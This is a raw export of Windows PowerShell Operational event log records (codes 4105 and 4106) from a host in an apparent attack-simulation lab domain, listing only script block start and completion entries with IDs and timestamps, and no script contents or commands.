TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047242
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047241
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047237
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047236
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047235
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047213
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047211
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047210
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
